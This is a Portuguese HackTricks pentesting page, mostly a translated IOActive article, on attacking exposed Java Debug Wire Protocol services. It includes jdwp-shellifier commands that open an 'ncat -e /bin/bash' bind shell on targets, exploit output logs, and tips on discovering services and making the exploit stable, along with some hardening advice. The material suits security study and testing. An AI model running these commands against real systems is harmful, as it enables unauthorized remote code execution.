hacktricks/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md
2023-06-06 18:56:34 +00:00

14 KiB
Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Explorando

Você pode usar o exploit em python localizado em https://github.com/IOActive/jdwp-shellifier

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

Descobri que o uso de --break-on 'java.lang.String.indexOf' torna o exploit mais estável. E se você tiver a chance de fazer upload de uma backdoor para o host e executá-la em vez de executar um comando, o exploit será ainda mais estável.

Normalmente, esse depurador é executado na porta 8000 e, se você estabelecer uma conexão TCP com a porta e enviar "JDWP-Handshake", o servidor deve responder com a mesma string.
Além disso, você pode verificar essa string na rede para encontrar possíveis serviços JDWP.

Listando processos, se você encontrar a string "jdwk" dentro de um processo java, provavelmente ele tem ativo o Java Debug Wired Protocol e você pode ser capaz de se mover lateralmente ou até mesmo escalar privilégios (se executado como root).

Mais detalhes

Copiado de https://ioactive.com/hacking-java-debug-wire-protocol-or-how/

Java Debug Wire Protocol

Java Platform Debug Architecture (JPDA): JDWP é um componente do sistema global de depuração Java, chamado de Java Platform Debug Architecture (JPDA)[2]. O seguinte é um diagrama da arquitetura geral:

O Debuggee consiste em uma JVM com várias threads executando nossa aplicação de destino. Para ser remotamente depurável, a instância JVM deve ser explicitamente iniciada com a opção -Xdebug passada na linha de comando, bem como a opção -Xrunjdwp (ou -agentlib). Por exemplo, iniciar um servidor Tomcat com depuração remota habilitada ficaria assim:

Como mostrado no diagrama da arquitetura, o Java Debug Wire Protocol é o link central entre o Debugger e a instância JVM. Observações sobre o protocolo incluem:

  • É um protocolo binário de rede baseado em pacotes.
  • É principalmente síncrono. O depurador envia um comando sobre JDWP e espera receber uma resposta. No entanto, alguns comandos, como Eventos, não esperam uma resposta síncrona. Eles enviarão uma resposta quando condições específicas forem atendidas. Por exemplo, um BreakPoint é um Evento.
  • Não usa autenticação.
  • Não usa criptografia.

Todas essas observações fazem total sentido, uma vez que estamos falando de um protocolo de depuração. No entanto, quando um serviço desse tipo é exposto a uma rede hostil ou está voltado para a Internet, as coisas podem dar errado.

Handshake: JDWP dita[9] que a comunicação deve ser iniciada por um simples handshake. Após uma conexão TCP bem-sucedida, o Debugger (cliente) envia a string ASCII de 14 caracteres "JDWP-Handshake". O Debuggee (servidor) responde a esta mensagem enviando exatamente a mesma string. O seguinte rastreamento scapy[3] mostra o handshake inicial de duas vias:

root:~/tools/scapy-hg # ip addr show dev eth0 | grep “inet “ inet 192.168.2.2/24 brd 192.168.2.255 scope global eth0root:~/tools/scapy-hg # ./run_scapy

Welcome to Scapy (2.2.0-dev)
>>> sniff(filter=”tcp port 8000 and host 192.168.2.9″, count=8)
<Sniffed: TCP:9 UDP:1 ICMP:0 Other:0>
>>> tcp.hexraw()
0000 15:49:30.397814 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 S
0001 15:49:30.402445 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 SA
0002 15:49:30.402508 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A
0003 15:49:30.402601 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0004 15:49:30.407553 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0005 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0006 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0007 15:49:30.407636 Ether /

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9 
[+] Targeting 192.168.2.9:8000
[+] Reading settings for Java HotSpot(TM) 64-Bit Server VM  1.6.0_65
[+] Found Runtime class: id=466[+] Found Runtime.getRuntime(): id=7facdb6a8038
[+] Created break event id=2
[+] Waiting for an event on java.net.ServerSocket.accept## Here we wait for breakpoint to be triggered by a new connection ##
[+] Received matching event from thread 0x8b0
[+] Found Operating System Mac OS X
[+] Found User name pentestosx
[+] Found ClassPath /Users/pentestosx/Desktop/apache-tomcat-6.0.39/bin/bootstrap.jar
[+] Found User home directory /Users/pentestosx
[!] Command successfully executed

Mesma linha de comando, mas contra um sistema Windows e interrompendo em um método totalmente diferente:

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 break-on java.lang.String.indexOf
[+] Targeting 192.168.2.8:8000
[+] Reading settings for Java HotSpot(TM) Client VM  1.7.0_51
[+] Found Runtime class: id=593
[+] Found Runtime.getRuntime(): id=17977a9c
[+] Created break event id=2
[+] Waiting for an event on java.lang.String.indexOf
[+] Received matching event from thread 0x8f5
[+] Found Operating System Windows 7
[+] Found User name hugsy
[+] Found ClassPath C:UsershugsyDesktopapache-tomcat-6.0.39binbootstrap.jar
[+] Found User home directory C:Usershugsy
[!] Command successfully executed

Executamos nosso exploit para gerar um shell de bind com o payload "ncat -e /bin/bash -l -p 1337", contra um sistema Linux:

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 cmd ncat -l -p 1337 -e /bin/bash
[+] Targeting 192.168.2.8:8000
[+] Reading settings for OpenJDK Client VM  1.6.0_27
[+] Found Runtime class: id=79d
[+] Found Runtime.getRuntime(): id=8a1f5e0
[+] Created break event id=2
[+] Waiting for an event on java.net.ServerSocket.accept
[+] Received matching event from thread 0x82a[+] Selected payload ncat -l -p 1337 -e /bin/bash
[+] Command string object created id:82b
[+] Runtime.getRuntime() returned context id:0x82c
[+] found Runtime.exec(): id=8a1f5fc[+] Runtime.exec() successful, retId=82d
[!] Command successfully executed Success, we now have a listening socket!
root@pwnbox:~/apache-tomcat-6.0.39# netstat -ntpl | grep 1337
tcp        0      0 0.0.0.0:1337         0.0.0.0:*               LISTEN      19242/ncat      
tcp6       0      0 :::1337              :::*                    LISTEN      19242/ncat     

O exploit final utiliza essas técnicas, adiciona algumas verificações e envia sinais de suspensão / retomada para causar o mínimo de interrupção possível (é sempre melhor não quebrar a aplicação em que você está trabalhando, certo?). Ele age em dois modos:

  • O modo "Padrão" é totalmente não intrusivo e simplesmente executa código Java para obter informações do sistema local (perfeito para um PoC para um cliente).
  • Passando a opção "cmd" executa um comando do sistema no host remoto e, portanto, é mais intrusivo. O comando é executado com os privilégios com os quais o JVM está sendo executado.

Este script de exploit foi testado com sucesso em:

  • Oracle Java JDK 1.6 e 1.7
  • OpenJDK 1.6
  • IBM JDK 1.6

Como o Java é projetado para ser independente de plataforma, os comandos podem ser executados em qualquer sistema operacional que o Java suporte. Bem, isso é realmente uma boa notícia para nós, pentesters: o serviço JDWP aberto significa RCE confiável. Até agora, tudo bem.

E quanto à exploração na vida real?

Na verdade, o JDWP é bastante usado no mundo das aplicações Java. No entanto, os pentesters podem não vê-lo com tanta frequência ao realizar avaliações remotas, pois os firewalls bloqueariam (e deveriam) a porta em que ele está sendo executado. Mas isso não significa que o JDWP não possa ser encontrado na natureza:

  • No momento em que este artigo foi escrito, uma pesquisa rápida no ShodanHQ[4] revelou imediatamente cerca de 40 servidores enviando o handshake JDWP:

Isso é realmente uma descoberta interessante porque, como vimos antes, é suposto ser o lado do cliente (depurador) que inicia o diálogo.

  • O GitHub[7] também revela um número significativo de aplicativos de código aberto potencialmente vulneráveis:

  • A varredura em massa da Internet em busca de portas específicas (tcp/8000, tcp/8080, tcp/8787, tcp/5005) revelou muitos hosts (que não podem ser relatados aqui) respondendo ao handshake inicial.
  • Aplicações "Enterprise" foram encontradas na natureza executando um serviço JDWP *por padrão* (encontrar o número da porta real é deixado como um exercício para o leitor curioso).

Essas são apenas algumas maneiras de descobrir serviços JDWP abertos na Internet. Isso é um ótimo lembrete de que as aplicações devem passar regularmente por revisões de segurança minuciosas, os ambientes de produção devem ter qualquer funcionalidade de depuração desativada e os firewalls devem ser configurados para restringir o acesso a serviços necessários apenas para operação normal. Permitir que qualquer pessoa se conecte a um serviço JDWP é exatamente o mesmo que permitir uma conexão a um serviço gdbserver (de uma maneira mais estável). Espero que você tenha gostado de ler este artigo tanto quanto eu gostei de brincar com JDWP. Para todos os poderosos piratas, feliz JDWP pwning !!

Obrigado

Gostaria de agradecer a Ilja Van Sprundel e Sebastien Macke por suas ideias e testes.

Referências:

  1. https://github.com/IOActive/jdwp-shellifier
  2. http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html
  3. http://www.secdev.org/projects/scapy(não mais ativo)
  4. http://www.shodanhq.com/search?q=JDWP-HANDSHAKE
  5. http://www.hsc-news.com/archives/2013/000109.html (não mais ativo)
  6. http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt
  7. https://github.com/search?q=-Xdebug+-Xrunjdwp&type=Code&ref=searchresults
  8. http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html
  9. http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html
  10. http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html
  11. http://nmap.org/nsedoc/scripts/jdwp-exec.html
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥